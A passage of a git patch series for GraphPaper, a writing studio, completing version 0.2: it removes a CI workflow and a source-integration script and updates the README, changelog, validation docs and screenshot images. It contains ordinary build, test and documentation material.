Codex default.`:r.error||'Not signed in yet. Complete the browser sign-in and check again.';break;} + case 'studio-codex-logout':await api('/codex/logout',{});$('#codex-status').textContent='Signed out of GraphPaper’s Codex account. Other Codex installations were not signed out.';break; + }}; +document.addEventListener('input',event=>{if(event.target.id==='voice-strength')$('#voice-strength-value').textContent=event.target.value;}); +document.addEventListener('change',event=>{if(event.target.id==='s-provider'&&event.target.value==='codex'){$('#s-base_url').value='https://api.openai.com/v1';for(const id of ['model','editor_model','extraction_model'])$('#s-'+id).value='';$('#s-model').placeholder='Blank = your Codex default model';}}); +setInterval(()=>{const focused=document.activeElement;if(!state.p?.auto_import||studio.syncing||busy()||$('.modal')||Object.keys(pending).length||state.save==='Saving…'||document.hidden||focused?.matches('input,textarea,select'))return;scanFolder(false).catch(e=>console.warn('Project inbox:',e.message));},5000); +if(state.projects.length||state.p)render(); From 55463def310254863e41ef2ae8e539fad9b6579e Mon Sep 17 00:00:00 2001 From: Aron Bijl <33731256+AronAxe@users.noreply.github.com> Date: Mon, 5 Oct 2026 22:37:18 +0200 Subject: [PATCH 2/2] Complete GraphPaper 0.2 with native Windows validation and Codex runtime checks --- .github/workflows/update-studio.yml | 105 -------------------- .gitignore | 6 ++ CHANGELOG.md | 9 ++ README.md | 16 +++- _update/apply.py | 121 ------------------------ _update/checksums.json | 1 - docs/QUALITY.md | 8 ++ docs/RELEASE-0.2.md | 6 ++ docs/UPDATE-0.2.md | 10 ++ docs/images/codex-v0.2.webp | Bin 0 -> 51292 bytes docs/images/folder-v0.2.webp | Bin 0 -> 34774 bytes docs/images/humanizer-v0.2.webp | Bin 0 -> 25984 bytes docs/images/voice-v0.2.webp | Bin 0 -> 32942 bytes docs/validation/v0.2/browser.json | 25 +++++ docs/validation/v0.2/codex-runtime.json | 7 ++ docs/validation/v0.2/loopback.json | 1 + docs/validation/v0.2/package.json | 21 ++++ docs/validation/v0.2/studio.json | 17 ++++ docs/validation/v0.2/windows.xml | 1 + graphpaper/__init__.py | 2 +- graphpaper/graphify_adapter.py | 2 + graphpaper/models.py | 30 +++++- graphpaper/pipeline.py | 15 ++- graphpaper/providers.py | 10 +- graphpaper/server.py | 15 ++- publish-manifest.json | 56 ++++++++--- pyproject.toml | 4 +- scripts/bundle_codex.py | 2 +- scripts/ui_studio_smoke.py | 6 +- ui/app.js | 6 +- ui/index.html | 3 +- 31 files changed, 241 insertions(+), 264 deletions(-) delete mode 100644 .github/workflows/update-studio.yml delete mode 100644 _update/apply.py delete mode 100644 _update/checksums.json create mode 100644 docs/images/codex-v0.2.webp create mode 100644 docs/images/folder-v0.2.webp create mode 100644 docs/images/humanizer-v0.2.webp create mode 100644 docs/images/voice-v0.2.webp create mode 100644 docs/validation/v0.2/browser.json create mode 100644 docs/validation/v0.2/codex-runtime.json create mode 100644 docs/validation/v0.2/loopback.json create mode 100644 docs/validation/v0.2/package.json create mode 100644 docs/validation/v0.2/studio.json create mode 100644 docs/validation/v0.2/windows.xml diff --git a/.github/workflows/update-studio.yml b/.github/workflows/update-studio.yml deleted file mode 100644 index 6d81de2..0000000 --- a/.github/workflows/update-studio.yml +++ /dev/null @@ -1,105 +0,0 @@ -name: Validate GraphPaper 0.2 update -on: - push: - branches: ['release/graphpaper-v0.2.0'] - workflow_dispatch: -permissions: - contents: write -concurrency: - group: graphpaper-02-update - cancel-in-progress: false -jobs: - integrate: - runs-on: ubuntu-latest - timeout-minutes: 20 - outputs: - commit: ${{ steps.commit.outputs.sha }} - steps: - - uses: actions/checkout@v4 - with: - ref: release/graphpaper-v0.2.0 - - uses: actions/setup-python@v5 - with: - python-version: '3.12' - - name: Verify uploaded source and integrate without overwriting upstream changes - run: | - python - <<'PY' - import hashlib,json,pathlib,subprocess,shutil - root=pathlib.Path('.') - if (root/'_update/checksums.json').exists(): - checks=json.loads((root/'_update/checksums.json').read_text()) - mismatches=[] - for name,expected in checks.items(): - actual=hashlib.sha256((root/name).read_bytes()).hexdigest() - if actual!=expected: mismatches.append((name,actual,expected)) - if mismatches: raise RuntimeError('Transferred source mismatch: '+repr(mismatches)) - subprocess.run(['python','_update/apply.py'],check=True) - subprocess.run(['python','_update/apply.py'],check=True) - shutil.rmtree('_update') - PY - node --check ui/app.js - node --check ui/studio.js - - run: python -m pip install -q -r requirements-dev.txt 'pillow>=11,<13' - - run: python -m pytest -q --junitxml=test-results/results.xml - - run: python -m playwright install --with-deps chromium - - run: python scripts/ui_smoke.py - - run: python scripts/ui_studio_smoke.py - - run: python -m graphpaper.desktop --self-test test-results/loopback.json - - name: Save verified source, screenshots and reports - id: commit - run: | - python - <<'PY' - import pathlib,shutil - from PIL import Image - p=pathlib.Path('docs/validation/v0.2');p.mkdir(parents=True,exist_ok=True) - for name,src in [('pytest.xml','test-results/results.xml'),('browser.json','test-results/ui/report.json'),('studio.json','test-results/studio/report.json'),('loopback.json','test-results/loopback.json')]: shutil.copyfile(src,p/name) - for name in ['voice','folder','humanizer','codex']: - with Image.open('test-results/studio/'+name+'.png') as image: image.convert('RGB').save('docs/images/'+name+'-v0.2.webp',quality=86) - PY - git add -A -- graphpaper ui scripts tests docs README.md CHANGELOG.md pyproject.toml .gitignore .github - if git ls-files _update/ | grep -q .; then git add -u -- _update; fi - python scripts/prepare_assets.py --manifest - git add publish-manifest.json - git config user.name 'github-actions[bot]' - git config user.email '41898282+github-actions[bot]@users.noreply.github.com' - if ! git diff --cached --quiet; then - git commit -m 'Integrate tested GraphPaper 0.2 voice, folders, prose tools and Codex sign-in' - git push origin HEAD:release/graphpaper-v0.2.0 - fi - echo "sha=$(git rev-parse HEAD)" >> "$GITHUB_OUTPUT" - - uses: actions/upload-artifact@v4 - if: always() - with: - name: Update-validation - path: test-results/ - windows: - needs: integrate - runs-on: windows-latest - timeout-minutes: 25 - steps: - - uses: actions/checkout@v4 - with: - ref: ${{ needs.integrate.outputs.commit }} - - uses: actions/setup-python@v5 - with: - python-version: '3.12' - - run: python -m pip install -q -r requirements-dev.txt - - run: python -m pytest -q --junitxml=test-results/windows.xml - - name: Build actual Windows application and verify official Codex - shell: pwsh - env: - GITHUB_TOKEN: ${{ github.token }} - run: ./scripts/build_release.ps1 - - uses: actions/upload-artifact@v4 - with: - name: GraphPaper-Windows-x64 - path: | - dist/GraphPaper-v*-Windows-x64.zip - dist/SHA256SUMS.txt - - uses: actions/upload-artifact@v4 - if: always() - with: - name: Windows-update-validation - path: | - test-results/ - vendor/codex-release.json diff --git a/.gitignore b/.gitignore index 4596dff..884525c 100644 --- a/.gitignore +++ b/.gitignore @@ -19,3 +19,9 @@ playwright-report/ *.sqlite3 *.sqlite3-shm *.sqlite3-wal + +vendor/ + +.build-venv/ + +.playwright/ diff --git a/CHANGELOG.md b/CHANGELOG.md index cf20207..1089cca 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,5 +1,14 @@ # Changelog +## 0.2.0 — 2026-10-05 + +- Learn and edit an author voice from uploaded writing or selected article URLs. +- Separate project folders, stable-file automatic Inbox imports, role subfolders and original uploads. +- Local prose inspection, humanizer/deslopping proposals, protected factual spans and explicit accept/reject with version history. +- Official Codex browser OAuth and subscription-based writing, with an isolated account directory and bundled Windows runtime. +- Dedicated new workflow, API, subprocess and browser tests; versioned Windows release packaging with SHA-256 provenance. + + ## 0.1.0 — 2026-10-05 Initial GraphPaper writing studio: diff --git a/README.md b/README.md index 40c258e..29caf4c 100644 --- a/README.md +++ b/README.md @@ -10,7 +10,13 @@ GraphPaper is a local-first, Windows-oriented writing studio for **nonfiction an ![GraphPaper's interactive graph studio](docs/images/graph.webp) *Actual app screenshot using the explicitly illustrative project included with the application.* -## Open the studio on Windows +## GraphPaper 0.2.0 + +[**Download the Windows release**](https://github.com/AronAxe/GraphPaper/releases/latest) · [What is new](docs/UPDATE-0.2.md) + +Your own writing voice from uploads or article URLs; a project Inbox with automatic local imports; reversible humanizer/deslopping passes; and **Codex / ChatGPT browser sign-in instead of a writing API key**. The Windows package includes Python and the official Codex runtime. Existing API providers and the optional JEV connection remain available. + +## Open the source edition on Windows 1. Extract the complete source ZIP to a normal folder, not inside the ZIP viewer. 2. Double-click **`Open GraphPaper.vbs`**. This source edition needs **Python 3.11 or newer**, including Tcl/Tk. Python 3.12 or 3.13 is the conservative choice for the desktop dependencies. @@ -19,7 +25,7 @@ GraphPaper is a local-first, Windows-oriented writing studio for **nonfiction an There is no need to type commands. The native window uses Microsoft Edge WebView2. See [Windows setup and troubleshooting](docs/WINDOWS.md). -**Executable packaging:** a Windows build script and GitHub Actions workflow are included. They generate a portable `GraphPaper.exe` folder/ZIP; this source package is not a prebuilt or signed Windows executable. Native Windows execution remains to be validated. The backend and interface have been tested on Linux; see [validation scope](docs/QUALITY.md). +**Executable packaging:** a Windows build script and GitHub Actions workflow are included. They generate a portable `GraphPaper.exe` folder/ZIP; this source package is not a prebuilt or signed Windows executable. Version 0.2 has native Windows automated tests and real-HTTP browser validation; see [validation scope](docs/QUALITY.md). Interactive native dialogs remain a separate check. ## A connected writing workflow @@ -71,6 +77,12 @@ There are no analytics, remote fonts, hidden publishing or automatic agent loops **The city that forgot the dark** demonstrates nonfiction angle discovery with clearly fictional, illustrative source notes. **The last keeper of borrowed mornings** demonstrates literary speculative fiction with original canon and character relationships. They are interface examples, not benchmark results or verified reporting. +## Version 0.2 validation update + +The 0.2 update was tested on a native Windows 11 machine with an isolated Python 3.13 environment: **120 automated tests passed**, with one symlink-permission test skipped; **all 26 real-HTTP browser workflow checks passed** with zero JavaScript page errors. The official bundled **Codex CLI 0.160.1** passed its signed-out app-server handshake and required-command checks. These are local Windows results, not GitHub-hosted CI results; the hosted runner remained queued and that run was cancelled. Reports are in [docs/validation/v0.2](docs/validation/v0.2/) (or the corresponding directory from this documentation page). + +A real user OAuth completion, paid model calls, output-quality comparisons and hands-on native-window dialog interaction are not claimed as tested. Historical 0.1 results below remain a record of that earlier build. + ## Development and validation ```bash diff --git a/_update/apply.py b/_update/apply.py deleted file mode 100644 index f52887c..0000000 --- a/_update/apply.py +++ /dev/null @@ -1,121 +0,0 @@ -"""One-time integration of v0.2.0. Exact anchors fail closed on upstream drift.""" -from pathlib import Path -ROOT = Path(__file__).resolve().parents[1] - - -def change(path, old, new): - p=ROOT/path - text=p.read_text(encoding='utf-8') - if new in text: - return - if old not in text: - raise RuntimeError('Integration anchor missing: '+path+' '+old[:90]) - if text.count(old)!=1: - raise RuntimeError('Ambiguous integration anchor: '+path+' '+old[:90]) - p.write_text(text.replace(old,new,1),encoding='utf-8') - -change('graphpaper/models.py','class Project(Model):', '''class VoiceProfile(Model): - enabled: bool = True - strength: int = Field(75, ge=0, le=100) - name: str = Field('My writing voice', max_length=160) - instructions: str = Field('', max_length=12000) - sample_ids: list[str] = Field(default_factory=list) - sample_hash: str = '' - learned_at: str = '' - metrics: dict[str, Any] = Field(default_factory=dict) - observations: list[str] = Field(default_factory=list) - - -class PolishCandidate(Model): - mode: str - original_hash: str - draft: str = Field(max_length=1_000_000) - created: str = '' - review: dict[str, Any] = Field(default_factory=dict) - before: dict[str, Any] = Field(default_factory=dict) - after: dict[str, Any] = Field(default_factory=dict) - protected_spans: int = 0 - diff: list[str] = Field(default_factory=list) - - -class Project(Model):''') -change('graphpaper/models.py',' demo: bool = False\n',' demo: bool = False\n voice_profile: VoiceProfile = Field(default_factory=VoiceProfile)\n polish: PolishCandidate | None = None\n auto_import: bool = True\n') -change('graphpaper/models.py','Literal["openrouter", "openai-compatible", "anthropic"]','Literal["openrouter", "openai-compatible", "anthropic", "codex"]') -change('graphpaper/models.py',' editor_model: str = ""',' codex_executable: str = ""\n editor_model: str = ""') -change('graphpaper/providers.py',' if not model.strip():',' if not model.strip() and s.provider != "codex":') -change('graphpaper/providers.py',' if s.provider == "anthropic":\n data = self.post(',''' if s.provider == "codex": - from .codex import get_codex - self.check('https://chatgpt.com') - text = get_codex(self.vault.path.parent, s.codex_executable).complete(system, user, model, self.job, s.max_calls) - return parse_json(text) if json_mode else text - if s.provider == "anthropic": - data = self.post(''') -change('graphpaper/providers.py',' def discover_models(self):\n',''' def discover_models(self): - if self.settings.provider == 'codex': - from .codex import get_codex - return get_codex(self.vault.path.parent, self.settings.codex_executable).models() -''') -change('graphpaper/pipeline.py','def voice_notes(p: Project):\n return [{"title": s.title, "sample": s.text[:3500], "note": "Style reference only. Do not copy wording or treat as factual evidence."} for s in p.sources if s.enabled and s.role == "voice"][:3]', '''def voice_notes(p: Project): - from .voice import voice_context - return voice_context(p)''') -change('graphpaper/pipeline.py','"review": review.model_dump(), "draft": original, "sources": pack}', '"review": review.model_dump(), "draft": original, "sources": pack, "author_voice": voice_notes(p)}') -change('graphpaper/pipeline.py','{"graph", "angles", "outline", "draft", "review", "revise"}', '{"graph", "angles", "outline", "draft", "review", "revise", "voice", "humanize", "deslop", "both"}') -change('graphpaper/pipeline.py',' if job.action == "graph":\n', ''' if job.action == "voice": - from .voice import learn_voice - learn_voice(p, clients, job) - elif job.action in {"humanize", "deslop", "both"}: - from .polish import polish_draft - polish_draft(p, clients, job, job.action, instruction) - elif job.action == "graph": -''') -change('graphpaper/server.py',' allowed = {"title", "brief", "draft", "outline", "angles", "selected_angle", "feedback"}', ' allowed = {"title", "brief", "draft", "outline", "angles", "selected_angle", "feedback", "voice_profile", "auto_import"}') -change('graphpaper/server.py',' app.mount("/static", StaticFiles(directory=asset_directory()), name="static")', ''' from .studio_routes import install - install(app, store, vault, runner, settings) - app.mount("/static", StaticFiles(directory=asset_directory()), name="static")''') -change('graphpaper/server.py',' return store.create(p)\n\n @app.post("/api/demo")', ''' app.state.folders.path(p) - return store.create(p) - - @app.post("/api/demo")''') -change('graphpaper/server.py',' return store.save(p, p.version)\n\n @app.post("/api/projects/{pid}/sources/text")', ''' p = store.save(p, p.version) - app.state.folders.original(p, p.sources[-1]) - return p - - @app.post("/api/projects/{pid}/sources/text")''') -old=' return add_source(pid, title, text, kind=Path(title).suffix.lstrip("."), role=role, warnings=warnings)' -change('graphpaper/server.py',old,''' p = add_source(pid, title, text, kind=Path(title).suffix.lstrip("."), role=role, warnings=warnings) - app.state.folders.original(p, p.sources[-1], data, title) - return p''') -change('graphpaper/graphify_adapter.py',' executable = clients.settings.graphify_executable or shutil.which("graphify")', ''' if clients.settings.provider == "codex": - raise ValueError("Use Native extraction or import a Graphify JSON graph with Codex sign-in. The optional external Graphify process requires its own API credentials.") - executable = clients.settings.graphify_executable or shutil.which("graphify")''') -change('ui/index.html','','\n') -change('ui/index.html','','') -change('ui/app.js',"if(!state.settings.model){toast('Choose a writing model in Connections first.');", "if(!state.settings.model&&state.settings.provider!=='codex'){toast('Choose a writing model in Connections first.');") -change('ui/app.js',"GraphPaper · 0.1.0", "GraphPaper · 0.2.0") -change('ui/app.js',"draft:'write',review:'write',revise:'write'", "draft:'write',review:'write',revise:'write',humanize:'write',deslop:'write',both:'write',voice:'sources'") -change('graphpaper/__init__.py','__version__ = "0.1.0"','__version__ = "0.2.0"') -change('pyproject.toml','version = "0.1.0"','version = "0.2.0"') -change('pyproject.toml','"ui/graphpaper.ico"]','"ui/graphpaper.ico", "ui/studio.js", "ui/studio.css"]') -print('GraphPaper v0.2.0 integrations applied.') -change('graphpaper/server.py','if any(s.digest == fingerprint for s in p.sources):','if any(s.digest == fingerprint and s.role == role for s in p.sources):') - -ignore=ROOT/'.gitignore' -if '\nvendor/\n' not in ignore.read_text(): - ignore.write_text(ignore.read_text()+'\nvendor/\n') -readme=ROOT/'README.md' -intro='''## GraphPaper 0.2.0 - -[**Download the Windows release**](https://github.com/AronAxe/GraphPaper/releases/latest) · [What is new](docs/UPDATE-0.2.md) - -Your own writing voice from uploads or article URLs; a project Inbox with automatic local imports; reversible humanizer/deslopping passes; and **Codex / ChatGPT browser sign-in instead of a writing API key**. The Windows package includes Python and the official Codex runtime. Existing API providers and the optional JEV connection remain available. - -''' -text=readme.read_text(encoding='utf-8') -if '## GraphPaper 0.2.0' not in text: - text=text.replace('## Open the studio on Windows',intro+'## Open the source edition on Windows',1) - readme.write_text(text,encoding='utf-8') -changelog=ROOT/'CHANGELOG.md' -text=changelog.read_text(encoding='utf-8') -if '## 0.2.0' not in text: - text=text.replace('# Changelog','# Changelog\n\n## 0.2.0 — 2026-10-05\n\n- Learn and edit an author voice from uploaded writing or selected article URLs.\n- Separate project folders, stable-file automatic Inbox imports, role subfolders and original uploads.\n- Local prose inspection, humanizer/deslopping proposals, protected factual spans and explicit accept/reject with version history.\n- Official Codex browser OAuth and subscription-based writing, with an isolated account directory and bundled Windows runtime.\n- Dedicated new workflow, API, subprocess and browser tests; versioned Windows release packaging with SHA-256 provenance.\n',1) - changelog.write_text(text,encoding='utf-8') diff --git a/_update/checksums.json b/_update/checksums.json deleted file mode 100644 index b420790..0000000 --- a/_update/checksums.json +++ /dev/null @@ -1 +0,0 @@ -{"graphpaper/voice.py":"2527ef556be695942e481bf3df099beb05937c7a059d0e1ece94d7ca32d0e51e","graphpaper/polish.py":"8890acded2fee782f88c98177250b58625cd93a045895b5c2f5d286056c46ae7","graphpaper/folders.py":"37f9b255406e3ff93b6f6886294722c14561a4c1195d5c2107fe67c8de6fbca8","graphpaper/author_web.py":"16ad1218ce0bf76bdd067e731176357586a28dfb55d297a393a3e6a596e126ff","graphpaper/codex.py":"87a1f409dd06e755e0f4aa5cab66f3cd45f26f58658df96adf961d86d10ab98c","graphpaper/studio_routes.py":"bc77494829dfff3961a1076f7a152a5f9119c34d2038abde25105a78b67c8ff9","ui/studio.js":"35ec4ed3ac5e691855680103b96fcc184eca9c61089753ebc7e0cfcf79c8ee87","ui/studio.css":"c143a880c50ed59b9d315afaacd20377d6e47c54a701ea105f5c0757cde43a24","scripts/build_release.ps1":"00d358ddbafbd02f4e4ede9cbfcee0ffdc250fac09789f5f168220ee28d61f6f","scripts/bundle_codex.py":"7cf9dbc36381827d286269b6394dd1dd61d88a23129b214b5207d52491f17f64","scripts/check_codex.py":"2fff4a6cc80188d54914086ab3f3d7d3cf1ec02001541bad6bc8a426fc1bbc81","scripts/ui_studio_smoke.py":"4f24113c44c7ed1c599f4650653794f63e314423886442257dcb4120051b2375","tests/test_codex_runtime.py":"35688888c892c30bf1e745ab94f09dcf7b8a5cf99c29019b5e15bb172cf3fb6a","tests/test_studio_update.py":"d01b6c74cd0afc300f4468755213d9d21a1f58986efe61eca9d58c3f677c9653","_update/apply.py":"c4f18caefa122530d94dd65e31f4698ed4829569fdf49ca95abf5b0d8289dbc0"} diff --git a/docs/QUALITY.md b/docs/QUALITY.md index fcdb2a7..4c890c4 100644 --- a/docs/QUALITY.md +++ b/docs/QUALITY.md @@ -1,5 +1,11 @@ # Quality, tests and known limits +## Version 0.2 validation update + +The 0.2 update was tested on a native Windows 11 machine with an isolated Python 3.13 environment: **120 automated tests passed**, with one symlink-permission test skipped; **all 26 real-HTTP browser workflow checks passed** with zero JavaScript page errors. The official bundled **Codex CLI 0.160.1** passed its signed-out app-server handshake and required-command checks. These are local Windows results, not GitHub-hosted CI results; the hosted runner remained queued and that run was cancelled. Reports are in [validation/v0.2](validation/v0.2/) (or the corresponding directory from this documentation page). + +A real user OAuth completion, paid model calls, output-quality comparisons and hands-on native-window dialog interaction are not claimed as tested. Historical 0.1 results below remain a record of that earlier build. + ## Initial local validation Validation date: **5 October 2026**. Initial build environment: **Linux, Python 3.13**, system Chromium. Subsequent GitHub Actions results are separate and visible in the repository's Actions tab. @@ -50,3 +56,5 @@ The practical quality goal is a better final article or story with less author c The source launcher and visual native shell need a real Windows interactive validation pass. No signed installer is included. Provider endpoint/model availability can change. Citation support is sampled. There is no automatic paywall bypass, OCR, live-web fact verification, trained author-preference model, cloud-sync collaboration or full WYSIWYG editor. HTML/Word typography should still be checked for a publisher's specific template. Large graphs are visually capped while the full project remains stored. Graphify IDs and native canonical IDs may leave duplicate conceptual labels after augmentation. Direction and pins influence candidate exploration but do not guarantee every requested connection is defensible. + +The compiled Windows executable passed its startup, local backend and bundled-interface self-test. The versioned Windows ZIP includes the official Codex runtime and its verified provenance. This check does not complete a real account OAuth login or make a live model request. diff --git a/docs/RELEASE-0.2.md b/docs/RELEASE-0.2.md index e218335..fa1772e 100644 --- a/docs/RELEASE-0.2.md +++ b/docs/RELEASE-0.2.md @@ -18,3 +18,9 @@ The SHA256SUMS file records the package checksum. The bundled Codex runtime has The build process runs automated tests, browser workflows and actual Windows package checks. Model responses in tests use controlled fixtures. The official runtime is checked while signed out; a real user's OAuth ceremony and live prose generation cannot be completed by CI. Inspect claims, citations and proposed edits before publishing. Existing projects load with defaults for the new features. User data stays in the existing local GraphPaper data directory; extracting the new executable does not replace your project database. + +### Verified on Windows + +120 automated tests passed; one symlink-permission test was skipped. All 26 browser workflow checks passed over real local HTTP with no JavaScript page errors. Official Codex CLI 0.160.1 passed its signed-out app-server handshake. Hosted Actions were queued, so these results come from the isolated native Windows build, not a claimed successful CI run. + +The compiled Windows executable passed its startup, local backend and bundled-interface self-test. The versioned Windows ZIP includes the official Codex runtime and its verified provenance. This check does not complete a real account OAuth login or make a live model request. diff --git a/docs/UPDATE-0.2.md b/docs/UPDATE-0.2.md index 957ce89..c061f46 100644 --- a/docs/UPDATE-0.2.md +++ b/docs/UPDATE-0.2.md @@ -51,3 +51,13 @@ Primary official documentation: The release process runs the existing suite plus new voice, inbox, provenance, protected-edit and Codex subprocess tests. Browser workflows exercise uploads, voice learning/editing, folder ownership and automatic import, humanizing/deslopping comparisons, acceptance/rejection and the Codex settings option. Controlled model and authentication doubles do not establish real prose quality or complete a real user OAuth ceremony. A separate Windows check runs the actual bundled Codex executable, verifies the supported CLI flags, and performs a signed-out app-server handshake. No live model request or user sign-in is performed in CI. The compiled GraphPaper application also runs its backend/assets self-test. Interactive Windows dialog behavior and completion of your own browser sign-in remain user-environment checks. The executable is unsigned. + +## Interface previews + +![Author voice settings](images/voice-v0.2.webp) + +![Reversible humanizer comparison](images/humanizer-v0.2.webp) + +![Codex sign-in settings](images/codex-v0.2.webp) + +These are actual UI renders using controlled test material, not live-model quality demonstrations. diff --git a/docs/images/codex-v0.2.webp b/docs/images/codex-v0.2.webp new file mode 100644 index 0000000000000000000000000000000000000000..9d1e42407c40d9df76e10477a7ea276283bcb8af GIT binary patch literal 51292 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 